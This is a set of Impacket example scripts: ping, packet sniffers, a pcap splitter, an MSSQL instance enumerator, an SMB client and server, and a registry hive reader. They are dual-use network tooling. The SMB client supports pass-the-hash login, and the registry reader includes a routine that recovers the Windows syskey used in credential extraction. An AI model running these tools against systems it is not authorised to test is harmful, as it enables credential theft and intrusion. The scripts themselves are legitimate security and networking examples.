/plugins/examples/mssqlinstance.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # [MC-SQLR] example. Retrieves the instances names from the target host
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | # Reference for:
17 | # Structure
18 | #
19 |
20 | from __future__ import division
21 | from __future__ import print_function
22 | import argparse
23 | import sys
24 | import logging
25 |
26 | from impacket.examples import logger
27 | from impacket import version, tds
28 |
29 | if __name__ == '__main__':
30 |
31 | print(version.BANNER)
32 | # Init the example's logger theme
33 | logger.init()
34 |
35 | parser = argparse.ArgumentParser(add_help = True, description = "Asks the remote host for its running MSSQL Instances.")
36 |
37 | parser.add_argument('host', action='store', help='target host')
38 | parser.add_argument('-timeout', action='store', default='5', help='timeout to wait for an answer')
39 |
40 | if len(sys.argv)==1:
41 | parser.print_help()
42 | sys.exit(1)
43 |
44 | options = parser.parse_args()
45 |
46 | ms_sql = tds.MSSQL(options.host)
47 | instances = ms_sql.getInstances(int(options.timeout))
48 | if len(instances) == 0:
49 | "No MSSQL Instances found"
50 | else:
51 | for i, instance in enumerate(instances):
52 | logging.info("Instance %d" % i)
53 | for key in list(instance.keys()):
54 | print(key + ":" + instance[key])
55 |
--------------------------------------------------------------------------------
/plugins/examples/ping.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple ICMP ping.
12 | #
13 | # This implementation of ping uses the ICMP echo and echo-reply packets
14 | # to check the status of a host. If the remote host is up, it should reply
15 | # to the echo probe with an echo-reply packet.
16 | # Note that this isn't a definite test, as in the case the remote host is up
17 | # but refuses to reply the probes.
18 | # Also note that the user must have special access to be able to open a raw
19 | # socket, which this program requires.
20 | #
21 | # Authors:
22 | # Gerardo Richarte (@gerasdf)
23 | # Javier Kohen
24 | #
25 | # Reference for:
26 | # ImpactPacket: IP, ICMP, DATA
27 | # ImpactDecoder
28 | #
29 |
30 | import select
31 | import socket
32 | import time
33 | import sys
34 |
35 | from impacket import ImpactDecoder, ImpactPacket
36 |
37 | if len(sys.argv) < 3:
38 | print("Use: %s " % sys.argv[0])
39 | sys.exit(1)
40 |
41 | src = sys.argv[1]
42 | dst = sys.argv[2]
43 |
44 | # Create a new IP packet and set its source and destination addresses.
45 |
46 | ip = ImpactPacket.IP()
47 | ip.set_ip_src(src)
48 | ip.set_ip_dst(dst)
49 |
50 | # Create a new ICMP packet of type ECHO.
51 |
52 | icmp = ImpactPacket.ICMP()
53 | icmp.set_icmp_type(icmp.ICMP_ECHO)
54 |
55 | # Include a 156-character long payload inside the ICMP packet.
56 | icmp.contains(ImpactPacket.Data(b"A"*156))
57 |
58 | # Have the IP packet contain the ICMP packet (along with its payload).
59 | ip.contains(icmp)
60 |
61 | # Open a raw socket. Special permissions are usually required.
62 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
63 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
64 |
65 | seq_id = 0
66 | while 1:
67 | # Give the ICMP packet the next ID in the sequence.
68 | seq_id += 1
69 | icmp.set_icmp_id(seq_id)
70 |
71 | # Calculate its checksum.
72 | icmp.set_icmp_cksum(0)
73 | icmp.auto_checksum = 1
74 |
75 | # Send it to the target host.
76 | s.sendto(ip.get_packet(), (dst, 0))
77 |
78 | # Wait for incoming replies.
79 | if s in select.select([s], [], [], 1)[0]:
80 | reply = s.recvfrom(2000)[0]
81 |
82 | # Use ImpactDecoder to reconstruct the packet hierarchy.
83 | rip = ImpactDecoder.IPDecoder().decode(reply)
84 | # Extract the ICMP packet from its container (the IP packet).
85 | ricmp = rip.child()
86 |
87 | # If the packet matches, report it to the user.
88 | if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type():
89 | print("Ping reply for sequence #%d" % ricmp.get_icmp_id())
90 |
91 | time.sleep(1)
92 |
--------------------------------------------------------------------------------
/plugins/examples/ping6.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple ICMP6 ping.
12 | #
13 | # This implementation of ping uses the ICMP echo and echo-reply packets
14 | # to check the status of a host. If the remote host is up, it should reply
15 | # to the echo probe with an echo-reply packet.
16 | # Note that this isn't a definite test, as in the case the remote host is up
17 | # but refuses to reply the probes.
18 | # Also note that the user must have special access to be able to open a raw
19 | # socket, which this program requires.
20 | #
21 | # Authors:
22 | # Alberto Solino (@agsolino)
23 | #
24 | # Reference for:
25 | # ImpactPacket: ICMP6
26 | # ImpactDecoder
27 | #
28 |
29 | import select
30 | import socket
31 | import time
32 | import sys
33 |
34 | from impacket import ImpactDecoder, IP6, ICMP6, version
35 |
36 | print(version.BANNER)
37 |
38 | if len(sys.argv) < 3:
39 | print("Use: %s " % sys.argv[0])
40 | sys.exit(1)
41 |
42 | src = sys.argv[1]
43 | dst = sys.argv[2]
44 |
45 | # Create a new IP packet and set its source and destination addresses.
46 |
47 | ip = IP6.IP6()
48 | ip.set_ip_src(src)
49 | ip.set_ip_dst(dst)
50 | ip.set_traffic_class(0)
51 | ip.set_flow_label(0)
52 | ip.set_hop_limit(64)
53 |
54 | # Open a raw socket. Special permissions are usually required.
55 | s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
56 |
57 | payload = b"A"*156
58 |
59 | print("PING %s %d data bytes" % (dst, len(payload)))
60 | seq_id = 0
61 | while 1:
62 | # Give the ICMP packet the next ID in the sequence.
63 | seq_id += 1
64 | icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload)
65 |
66 | # Have the IP packet contain the ICMP packet (along with its payload).
67 | ip.contains(icmp)
68 | ip.set_next_header(ip.child().get_ip_protocol_number())
69 | ip.set_payload_length(ip.child().get_size())
70 | icmp.calculate_checksum()
71 |
72 | # Send it to the target host.
73 | s.sendto(icmp.get_packet(), (dst, 0))
74 |
75 | # Wait for incoming replies.
76 | if s in select.select([s], [], [], 1)[0]:
77 | reply = s.recvfrom(2000)[0]
78 |
79 | # Use ImpactDecoder to reconstruct the packet hierarchy.
80 | rip = ImpactDecoder.ICMP6Decoder().decode(reply)
81 |
82 | # If the packet matches, report it to the user.
83 | if ICMP6.ICMP6.ECHO_REPLY == rip.get_type():
84 | print("%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4, dst, rip.get_echo_sequence_number()))
85 |
86 | time.sleep(1)
87 |
--------------------------------------------------------------------------------
/plugins/examples/registry-read.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # A Windows Registry Reader Example
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | # Reference for:
17 | # winregistry.py
18 | #
19 |
20 | from __future__ import division
21 | from __future__ import print_function
22 | import sys
23 | import argparse
24 | import ntpath
25 | from binascii import unhexlify, hexlify
26 |
27 | from impacket.examples import logger
28 | from impacket import version
29 | from impacket import winregistry
30 |
31 |
32 | def bootKey(reg):
33 | baseClass = 'ControlSet001\\Control\\Lsa\\'
34 | keys = ['JD','Skew1','GBG','Data']
35 | tmpKey = ''
36 |
37 | for key in keys:
38 | tmpKey = tmpKey + unhexlify(reg.getClass(baseClass + key).decode('utf-16le')[:8])
39 |
40 | transforms = [ 8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7 ]
41 |
42 | syskey = ''
43 | for i in range(len(tmpKey)):
44 | syskey += tmpKey[transforms[i]]
45 |
46 | print(hexlify(syskey))
47 |
48 | def getClass(reg, className):
49 | regKey = ntpath.dirname(className)
50 | regClass = ntpath.basename(className)
51 |
52 | value = reg.getClass(className)
53 |
54 | if value is None:
55 | return
56 |
57 | print("[%s]" % regKey)
58 |
59 | print("Value for Class %s: \n" % regClass, end=' ')
60 |
61 | winregistry.hexdump(value,' ')
62 |
63 | def getValue(reg, keyValue):
64 | regKey = ntpath.dirname(keyValue)
65 | regValue = ntpath.basename(keyValue)
66 |
67 | value = reg.getValue(keyValue)
68 |
69 | print("[%s]\n" % regKey)
70 |
71 | if value is None:
72 | return
73 |
74 | print("Value for %s:\n " % regValue, end=' ')
75 | reg.printValue(value[0],value[1])
76 |
77 | def enumValues(reg, searchKey):
78 | key = reg.findKey(searchKey)
79 |
80 | if key is None:
81 | return
82 |
83 | print("[%s]\n" % searchKey)
84 |
85 | values = reg.enumValues(key)
86 | print(values)
87 |
88 | for value in values:
89 | print(" %-30s: " % value, end=' ')
90 | data = reg.getValue('%s\\%s'%(searchKey,value.decode('utf-8')))
91 | # Special case for binary string.. so it looks better formatted
92 | if data[0] == winregistry.REG_BINARY:
93 | print('')
94 | reg.printValue(data[0],data[1])
95 | print('')
96 | else:
97 | reg.printValue(data[0],data[1])
98 |
99 | def enumKey(reg, searchKey, isRecursive, indent=' '):
100 | parentKey = reg.findKey(searchKey)
101 |
102 | if parentKey is None:
103 | return
104 |
105 | keys = reg.enumKey(parentKey)
106 |
107 | for key in keys:
108 | print("%s%s" %(indent, key))
109 | if isRecursive is True:
110 | if searchKey == '\\':
111 | enumKey(reg, '\\%s'%key,isRecursive,indent+' ')
112 | else:
113 | enumKey(reg, '%s\\%s'%(searchKey,key),isRecursive,indent+' ')
114 |
115 | def walk(reg, keyName):
116 | return reg.walk(keyName)
117 |
118 |
119 | def main():
120 | # Init the example's logger theme
121 | logger.init()
122 | print(version.BANNER)
123 |
124 | parser = argparse.ArgumentParser(add_help = True, description = "Reads data from registry hives.")
125 |
126 | parser.add_argument('hive', action='store', help='registry hive to open')
127 | subparsers = parser.add_subparsers(help='actions', dest='action')
128 | # A enum_key command
129 | enumkey_parser = subparsers.add_parser('enum_key', help='enumerates the subkeys of the specified open registry key')
130 | enumkey_parser.add_argument('-name', action='store', required=True, help='registry key')
131 | enumkey_parser.add_argument('-recursive', dest='recursive', action='store_true', required=False, help='recursive search (default False)')
132 |
133 | # A enum_values command
134 | enumvalues_parser = subparsers.add_parser('enum_values', help='enumerates the values for the specified open registry key')
135 | enumvalues_parser.add_argument('-name', action='store', required=True, help='registry key')
136 |
137 | # A get_value command
138 | getvalue_parser = subparsers.add_parser('get_value', help='retrieves the data for the specified registry value')
139 | getvalue_parser.add_argument('-name', action='store', required=True, help='registry value')
140 |
141 | # A get_class command
142 | getclass_parser = subparsers.add_parser('get_class', help='retrieves the data for the specified registry class')
143 | getclass_parser.add_argument('-name', action='store', required=True, help='registry class name')
144 |
145 | # A walk command
146 | walk_parser = subparsers.add_parser('walk', help='walks the registry from the name node down')
147 | walk_parser.add_argument('-name', action='store', required=True, help='registry class name to start walking down from')
148 |
149 | if len(sys.argv)==1:
150 | parser.print_help()
151 | sys.exit(1)
152 |
153 | options = parser.parse_args()
154 |
155 | reg = winregistry.Registry(options.hive)
156 |
157 | if options.action.upper() == 'ENUM_KEY':
158 | print("[%s]" % options.name)
159 | enumKey(reg, options.name, options.recursive)
160 | elif options.action.upper() == 'ENUM_VALUES':
161 | enumValues(reg, options.name)
162 | elif options.action.upper() == 'GET_VALUE':
163 | getValue(reg, options.name)
164 | elif options.action.upper() == 'GET_CLASS':
165 | getClass(reg, options.name)
166 | elif options.action.upper() == 'WALK':
167 | walk(reg, options.name)
168 |
169 | reg.close()
170 |
171 | if __name__ == "__main__":
172 | main()
173 |
--------------------------------------------------------------------------------
/plugins/examples/smbclient.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Mini shell using some of the SMB functionality of the library
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 | # Reference for:
17 | # SMB DCE/RPC
18 | #
19 |
20 | from __future__ import division
21 | from __future__ import print_function
22 | import sys
23 | import logging
24 | import argparse
25 | from impacket.examples import logger
26 | from impacket.examples.utils import parse_target
27 | from impacket.examples.smbclient import MiniImpacketShell
28 | from impacket import version
29 | from impacket.smbconnection import SMBConnection
30 |
31 | def main():
32 | # Init the example's logger theme
33 | logger.init()
34 | print(version.BANNER)
35 | parser = argparse.ArgumentParser(add_help = True, description = "SMB client implementation.")
36 |
37 | parser.add_argument('target', action='store', help='[[domain/]username[:password]@]')
38 | parser.add_argument('-file', type=argparse.FileType('r'), help='input file with commands to execute in the mini shell')
39 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
40 |
41 | group = parser.add_argument_group('authentication')
42 |
43 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
44 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
45 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
46 | '(KRB5CCNAME) based on target parameters. If valid credentials '
47 | 'cannot be found, it will use the ones specified in the command '
48 | 'line')
49 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
50 | '(128 or 256 bits)')
51 |
52 | group = parser.add_argument_group('connection')
53 |
54 | group.add_argument('-dc-ip', action='store', metavar="ip address",
55 | help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in '
56 | 'the target parameter')
57 | group.add_argument('-target-ip', action='store', metavar="ip address",
58 | help='IP Address of the target machine. If omitted it will use whatever was specified as target. '
59 | 'This is useful when target is the NetBIOS name and you cannot resolve it')
60 | group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
61 | help='Destination port to connect to SMB Server')
62 |
63 | if len(sys.argv)==1:
64 | parser.print_help()
65 | sys.exit(1)
66 |
67 | options = parser.parse_args()
68 |
69 | if options.debug is True:
70 | logging.getLogger().setLevel(logging.DEBUG)
71 | # Print the Library's installation path
72 | logging.debug(version.getInstallationPath())
73 | else:
74 | logging.getLogger().setLevel(logging.INFO)
75 |
76 | domain, username, password, address = parse_target(options.target)
77 |
78 | if options.target_ip is None:
79 | options.target_ip = address
80 |
81 | if domain is None:
82 | domain = ''
83 |
84 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
85 | from getpass import getpass
86 | password = getpass("Password:")
87 |
88 | if options.aesKey is not None:
89 | options.k = True
90 |
91 | if options.hashes is not None:
92 | lmhash, nthash = options.hashes.split(':')
93 | else:
94 | lmhash = ''
95 | nthash = ''
96 |
97 | try:
98 | smbClient = SMBConnection(address, options.target_ip, sess_port=int(options.port))
99 | if options.k is True:
100 | smbClient.kerberosLogin(username, password, domain, lmhash, nthash, options.aesKey, options.dc_ip )
101 | else:
102 | smbClient.login(username, password, domain, lmhash, nthash)
103 |
104 | shell = MiniImpacketShell(smbClient)
105 |
106 | if options.file is not None:
107 | logging.info("Executing commands from %s" % options.file.name)
108 | for line in options.file.readlines():
109 | if line[0] != '#':
110 | print("# %s" % line, end=' ')
111 | shell.onecmd(line)
112 | else:
113 | print(line, end=' ')
114 | else:
115 | shell.cmdloop()
116 | except Exception as e:
117 | if logging.getLogger().level == logging.DEBUG:
118 | import traceback
119 | traceback.print_exc()
120 | logging.error(str(e))
121 |
122 | if __name__ == "__main__":
123 | main()
124 |
--------------------------------------------------------------------------------
/plugins/examples/smbserver.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple SMB Server example.
12 | #
13 | # Author:
14 | # Alberto Solino (@agsolino)
15 | #
16 |
17 | import sys
18 | import argparse
19 | import logging
20 |
21 | from impacket.examples import logger
22 | from impacket import smbserver, version
23 | from impacket.ntlm import compute_lmhash, compute_nthash
24 |
25 | if __name__ == '__main__':
26 |
27 | # Init the example's logger theme
28 | print(version.BANNER)
29 |
30 | parser = argparse.ArgumentParser(add_help = True, description = "This script will launch a SMB Server and add a "
31 | "share specified as an argument. You need to be root in order to bind to port 445. "
32 | "For optional authentication, it is possible to specify username and password or the NTLM hash. "
33 | "Example: smbserver.py -comment 'My share' TMP /tmp")
34 |
35 | parser.add_argument('shareName', action='store', help='name of the share to add')
36 | parser.add_argument('sharePath', action='store', help='path of the share to add')
37 | parser.add_argument('-comment', action='store', help='share\'s comment to display when asked for shares')
38 | parser.add_argument('-username', action="store", help='Username to authenticate clients')
39 | parser.add_argument('-password', action="store", help='Password for the Username')
40 | parser.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes for the Username, format is LMHASH:NTHASH')
41 | parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
42 | parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
43 | parser.add_argument('-ip', '--interface-address', action='store', default='0.0.0.0', help='ip address of listening interface')
44 | parser.add_argument('-port', action='store', default='445', help='TCP port for listening incoming connections (default 445)')
45 | parser.add_argument('-smb2support', action='store_true', default=False, help='SMB2 Support (experimental!)')
46 |
47 | if len(sys.argv)==1:
48 | parser.print_help()
49 | sys.exit(1)
50 |
51 | try:
52 | options = parser.parse_args()
53 | except Exception as e:
54 | logging.critical(str(e))
55 | sys.exit(1)
56 |
57 | logger.init(options.ts)
58 |
59 | if options.debug is True:
60 | logging.getLogger().setLevel(logging.DEBUG)
61 | # Print the Library's installation path
62 | logging.debug(version.getInstallationPath())
63 | else:
64 | logging.getLogger().setLevel(logging.INFO)
65 |
66 | if options.comment is None:
67 | comment = ''
68 | else:
69 | comment = options.comment
70 |
71 | server = smbserver.SimpleSMBServer(listenAddress=options.interface_address, listenPort=int(options.port))
72 |
73 | server.addShare(options.shareName.upper(), options.sharePath, comment)
74 | server.setSMB2Support(options.smb2support)
75 |
76 | # If a user was specified, let's add it to the credentials for the SMBServer. If no user is specified, anonymous
77 | # connections will be allowed
78 | if options.username is not None:
79 | # we either need a password or hashes, if not, ask
80 | if options.password is None and options.hashes is None:
81 | from getpass import getpass
82 | password = getpass("Password:")
83 | # Let's convert to hashes
84 | lmhash = compute_lmhash(password)
85 | nthash = compute_nthash(password)
86 | elif options.password is not None:
87 | lmhash = compute_lmhash(options.password)
88 | nthash = compute_nthash(options.password)
89 | else:
90 | lmhash, nthash = options.hashes.split(':')
91 |
92 | server.addCredential(options.username, 0, lmhash, nthash)
93 |
94 | # Here you can set a custom SMB challenge in hex format
95 | # If empty defaults to '4141414141414141'
96 | # (remember: must be 16 hex bytes long)
97 | # e.g. server.setSMBChallenge('12345678abcdef00')
98 | server.setSMBChallenge('')
99 |
100 | # If you don't want log to stdout, comment the following line
101 | # If you want log dumped to a file, enter the filename
102 | server.setLogFile('')
103 |
104 | # Rock and roll
105 | server.start()
106 |
--------------------------------------------------------------------------------
/plugins/examples/sniff.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple packet sniffer.
12 | #
13 | # This packet sniffer uses the pcap library to listen for packets in
14 | # transit over the specified interface. The returned packages can be
15 | # filtered according to a BPF filter (see tcpdump(3) for further
16 | # information on BPF filters).
17 | #
18 | # Note that the user might need special permissions to be able to use pcap.
19 | #
20 | # Authors:
21 | # Maximiliano Caceres
22 | # Javier Kohen
23 | #
24 | # Reference for:
25 | # pcapy: findalldevs, open_live
26 | # ImpactDecoder
27 | #
28 |
29 | import sys
30 | from threading import Thread
31 | import pcapy
32 | from pcapy import findalldevs, open_live
33 |
34 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
35 |
36 |
37 | class DecoderThread(Thread):
38 | def __init__(self, pcapObj):
39 | # Query the type of the link and instantiate a decoder accordingly.
40 | datalink = pcapObj.datalink()
41 | if pcapy.DLT_EN10MB == datalink:
42 | self.decoder = EthDecoder()
43 | elif pcapy.DLT_LINUX_SLL == datalink:
44 | self.decoder = LinuxSLLDecoder()
45 | else:
46 | raise Exception("Datalink type not supported: " % datalink)
47 |
48 | self.pcap = pcapObj
49 | Thread.__init__(self)
50 |
51 | def run(self):
52 | # Sniff ad infinitum.
53 | # PacketHandler shall be invoked by pcap for every packet.
54 | self.pcap.loop(0, self.packetHandler)
55 |
56 | def packetHandler(self, hdr, data):
57 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy
58 | # of ImpactPacket instances.
59 | # Display the packet in human-readable form.
60 | print(self.decoder.decode(data))
61 |
62 |
63 | def getInterface():
64 | # Grab a list of interfaces that pcap is able to listen on.
65 | # The current user will be able to listen from all returned interfaces,
66 | # using open_live to open them.
67 | ifs = findalldevs()
68 |
69 | # No interfaces available, abort.
70 | if 0 == len(ifs):
71 | print("You don't have enough permissions to open any interface on this system.")
72 | sys.exit(1)
73 |
74 | # Only one interface available, use it.
75 | elif 1 == len(ifs):
76 | print('Only one interface present, defaulting to it.')
77 | return ifs[0]
78 |
79 | # Ask the user to choose an interface from the list.
80 | count = 0
81 | for iface in ifs:
82 | print('%i - %s' % (count, iface))
83 | count += 1
84 | idx = int(input('Please select an interface: '))
85 |
86 | return ifs[idx]
87 |
88 | def main(filter):
89 | dev = getInterface()
90 |
91 | # Open interface for catpuring.
92 | p = open_live(dev, 1500, 0, 100)
93 |
94 | # Set the BPF filter. See tcpdump(3).
95 | p.setfilter(filter)
96 |
97 | print("Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink()))
98 |
99 | # Start sniffing thread and finish main thread.
100 | DecoderThread(p).start()
101 |
102 | # Process command-line arguments. Take everything as a BPF filter to pass
103 | # onto pcap. Default to the empty filter (match all).
104 | filter = ''
105 | if len(sys.argv) > 1:
106 | filter = ' '.join(sys.argv[1:])
107 |
108 | main(filter)
109 |
--------------------------------------------------------------------------------
/plugins/examples/sniffer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Simple packet sniffer.
12 | #
13 | # This packet sniffer uses a raw socket to listen for packets
14 | # in transit corresponding to the specified protocols.
15 | #
16 | # Note that the user might need special permissions to be able to use
17 | # raw sockets.
18 | #
19 | # Authors:
20 | # Gerardo Richarte (@gerasdf)
21 | # Javier Kohen
22 | #
23 | # Reference for:
24 | # ImpactDecoder
25 | #
26 |
27 | from select import select
28 | import socket
29 | import sys
30 |
31 | from impacket import ImpactDecoder
32 |
33 | DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
34 |
35 | if len(sys.argv) == 1:
36 | toListen = DEFAULT_PROTOCOLS
37 | print("Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s [proto2] ..." % sys.argv[0])
38 | else:
39 | toListen = sys.argv[1:]
40 |
41 | # Open one socket for each specified protocol.
42 | # A special option is set on the socket so that IP headers are included with
43 | # the returned data.
44 | sockets = []
45 | for protocol in toListen:
46 | try:
47 | protocol_num = socket.getprotobyname(protocol)
48 | except socket.error:
49 | print("Ignoring unknown protocol:", protocol)
50 | toListen.remove(protocol)
51 | continue
52 | s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
53 | s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
54 | sockets.append(s)
55 |
56 | if 0 == len(toListen):
57 | print("There are no protocols available.")
58 | sys.exit(0)
59 |
60 | print("Listening on protocols:", toListen)
61 |
62 | # Instantiate an IP packets decoder.
63 | # As all the packets include their IP header, that decoder only is enough.
64 | decoder = ImpactDecoder.IPDecoder()
65 |
66 | while len(sockets) > 0:
67 | # Wait for an incoming packet on any socket.
68 | ready = select(sockets, [], [])[0]
69 | for s in ready:
70 | packet = s.recvfrom(4096)[0]
71 | if 0 == len(packet):
72 | # Socket remotely closed. Discard it.
73 | sockets.remove(s)
74 | s.close()
75 | else:
76 | # Packet received. Decode and display it.
77 | packet = decoder.decode(packet)
78 | print(packet)
79 |
--------------------------------------------------------------------------------
/plugins/examples/split.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # Impacket - Collection of Python classes for working with network protocols.
3 | #
4 | # Copyright (C) 2023 Fortra. All rights reserved.
5 | #
6 | # This software is provided under a slightly modified version
7 | # of the Apache Software License. See the accompanying LICENSE file
8 | # for more information.
9 | #
10 | # Description:
11 | # Pcap dump splitter
12 | #
13 | # This tools splits pcap capture files into smaller ones, one for each
14 | # different TCP/IP connection found in the original.
15 | #
16 | # Authors:
17 | # Alejandro D. Weil
18 | # Javier Kohen
19 | #
20 | # Reference for:
21 | # pcapy: open_offline, pcapdumper
22 | # ImpactDecoder
23 | #
24 |
25 | from __future__ import division
26 | from __future__ import print_function
27 | import sys
28 | import pcapy
29 | from pcapy import open_offline
30 |
31 | from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
32 |
33 |
34 | class Connection:
35 | """This class can be used as a key in a dictionary to select a connection
36 | given a pair of peers. Two connections are considered the same if both
37 | peers are equal, despite the order in which they were passed to the
38 | class constructor.
39 | """
40 |
41 | def __init__(self, p1, p2):
42 | """This constructor takes two tuples, one for each peer. The first
43 | element in each tuple is the IP address as a string, and the
44 | second is the port as an integer.
45 | """
46 |
47 | self.p1 = p1
48 | self.p2 = p2
49 |
50 | def getFilename(self):
51 | """Utility function that returns a filename composed by the IP
52 | addresses and ports of both peers.
53 | """
54 | return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])
55 |
56 | def __cmp__(self, other):
57 | if ((self.p1 == other.p1 and self.p2 == other.p2)
58 | or (self.p1 == other.p2 and self.p2 == other.p1)):
59 | return 0
60 | else:
61 | return -1
62 |
63 | def __hash__(self):
64 | return (hash(self.p1[0]) ^ hash(self.p1[1])
65 | ^ hash(self.p2[0]) ^ hash(self.p2[1]))
66 |
67 |
68 | class Decoder:
69 | def __init__(self, pcapObj):
70 | # Query the type of the link and instantiate a decoder accordingly.
71 | datalink = pcapObj.datalink()
72 | if pcapy.DLT_EN10MB == datalink:
73 | self.decoder = EthDecoder()
74 | elif pcapy.DLT_LINUX_SLL == datalink:
75 | self.decoder = LinuxSLLDecoder()
76 | else:
77 | raise Exception("Datalink type not supported: " % datalink)
78 |
79 | self.pcap = pcapObj
80 | self.connections = {}
81 |
82 | def start(self):
83 | # Sniff ad infinitum.
84 | # PacketHandler shall be invoked by pcap for every packet.
85 | self.pcap.loop(0, self.packetHandler)
86 |
87 | def packetHandler(self, hdr, data):
88 | """Handles an incoming pcap packet. This method only knows how
89 | to recognize TCP/IP connections.
90 | Be sure that only TCP packets are passed onto this handler (or
91 | fix the code to ignore the others).
92 |
93 | Setting r"ip proto \tcp" as part of the pcap filter expression
94 | suffices, and there shouldn't be any problem combining that with
95 | other expressions.
96 | """
97 |
98 | # Use the ImpactDecoder to turn the rawpacket into a hierarchy
99 | # of ImpactPacket instances.
100 | p = self.decoder.decode(data)
101 | ip = p.child()
102 | tcp = ip.child()
103 |
104 | # Build a distinctive key for this pair of peers.
105 | src = (ip.get_ip_src(), tcp.get_th_sport() )
106 | dst = (ip.get_ip_dst(), tcp.get_th_dport() )
107 | con = Connection(src,dst)
108 |
109 | # If there isn't an entry associated yetwith this connection,
110 | # open a new pcapdumper and create an association.
111 | if ('%s%s' % (con.p1, con.p2)) not in self.connections:
112 | fn = con.getFilename()
113 | print("Found a new connection, storing into:", fn)
114 | try:
115 | dumper = self.pcap.dump_open(fn)
116 | except pcapy.PcapError:
117 | print("Can't write packet to:", fn)
118 | return
119 | self.connections['%s%s' % (con.p1, con.p2)] = dumper
120 |
121 | # Write the packet to the corresponding file.
122 | self.connections['%s%s' % (con.p1, con.p2)].dump(hdr, data)
123 |
124 |
125 |
126 | def main(filename):
127 | # Open file
128 | p = open_offline(filename)
129 |
130 | # At the moment the callback only accepts TCP/IP packets.
131 | p.setfilter(r'ip proto \tcp')
132 |
133 | print("Reading from %s: linktype=%d" % (filename, p.datalink()))
134 |
135 | # Start decoding process.
136 | Decoder(p).start()
137 |
138 |
139 | # Process command-line arguments.
140 | if __name__ == '__main__':
141 | if len(sys.argv) <= 1:
142 | print("Usage: %s " % sys.argv[0])
143 | sys.exit(1)
144 |
145 | main(sys.argv[1])
146 |
--------------------------------------------------------------------------------
/plugins/examples/ticketConverter.py:
--------------------------------------------------------------------------------
